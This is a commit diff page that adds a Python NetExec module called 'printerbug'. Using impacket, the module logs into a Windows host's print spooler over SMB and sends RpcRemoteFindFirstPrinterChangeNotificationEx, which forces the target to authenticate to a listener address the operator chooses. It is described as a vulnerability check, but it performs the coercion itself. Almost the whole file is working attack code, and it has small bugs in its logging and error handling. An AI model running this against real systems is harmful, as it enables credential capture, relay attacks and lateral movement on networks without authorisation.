Merge branch 'main' into neff-fix-207
commit
74b18fdf4e
|
@ -0,0 +1,117 @@
|
||||||
|
from impacket.dcerpc.v5 import transport, rprn
|
||||||
|
|
||||||
|
|
||||||
|
class NXCModule:
|
||||||
|
name = "printerbug"
|
||||||
|
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||||
|
supported_protocols = ["smb"]
|
||||||
|
opsec_safe = True
|
||||||
|
multiple_hosts = True
|
||||||
|
|
||||||
|
def __init__(self, context=None, module_options=None):
|
||||||
|
self.context = context
|
||||||
|
self.module_options = module_options
|
||||||
|
self.listener = None
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
|
||||||
|
self.listener = "127.0.0.1"
|
||||||
|
if "LISTENER" in module_options:
|
||||||
|
self.listener = module_options["LISTENER"]
|
||||||
|
|
||||||
|
def on_login(self, context, connection):
|
||||||
|
trigger = TriggerAuth(context)
|
||||||
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||||
|
dce = trigger.connect(
|
||||||
|
username=connection.username,
|
||||||
|
password=connection.password,
|
||||||
|
domain=connection.domain,
|
||||||
|
lmhash=connection.lmhash,
|
||||||
|
nthash=connection.nthash,
|
||||||
|
target=target,
|
||||||
|
doKerberos=connection.kerberos,
|
||||||
|
dcHost=connection.kdcHost,
|
||||||
|
aesKey=connection.aesKey,
|
||||||
|
)
|
||||||
|
|
||||||
|
if dce is not None:
|
||||||
|
context.log.debug("Target is vulnerable to PrinterBug")
|
||||||
|
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
|
||||||
|
context.log.highlight("VULNERABLE")
|
||||||
|
dce.disconnect()
|
||||||
|
else:
|
||||||
|
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||||
|
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# RPC CALLS
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
|
||||||
|
class TriggerAuth:
|
||||||
|
def __init__(self, context):
|
||||||
|
self.context = context
|
||||||
|
|
||||||
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||||
|
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
|
||||||
|
rpctransport.set_dport(445)
|
||||||
|
|
||||||
|
if hasattr(rpctransport, "set_credentials"):
|
||||||
|
rpctransport.set_credentials(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
domain=domain,
|
||||||
|
lmhash=lmhash,
|
||||||
|
nthash=nthash,
|
||||||
|
aesKey=aesKey,
|
||||||
|
)
|
||||||
|
|
||||||
|
if doKerberos:
|
||||||
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||||
|
|
||||||
|
rpctransport.setRemoteHost(target)
|
||||||
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
|
||||||
|
try:
|
||||||
|
dce.connect()
|
||||||
|
except Exception as e:
|
||||||
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||||
|
except Exception as e:
|
||||||
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||||
|
return None
|
||||||
|
self.context.log.debug("Successfully bound!")
|
||||||
|
return dce
|
||||||
|
|
||||||
|
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
|
||||||
|
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
|
||||||
|
try:
|
||||||
|
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find("Broken pipe") >= 0:
|
||||||
|
# The connection timed-out. Let's try to bring it back next round
|
||||||
|
self.context.log.error("Connection failed - skipping host!")
|
||||||
|
return
|
||||||
|
elif str(e).upper().find("ACCESS_DENIED"):
|
||||||
|
# We're not admin, bye
|
||||||
|
self.context.log.error("Access denied - RPC call was denied")
|
||||||
|
dce.disconnect()
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
self.context.log.debug("Got handle")
|
||||||
|
|
||||||
|
try:
|
||||||
|
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||||
|
request["hPrinter"] = resp["pHandle"]
|
||||||
|
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||||
|
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||||
|
except Exception as e:
|
||||||
|
self.context.log.debug(e)
|
||||||
|
|
||||||
|
try:
|
||||||
|
dce.request(request)
|
||||||
|
except Exception as e:
|
||||||
|
self.context.log.debug(e)
|
Loading…
Reference in New Issue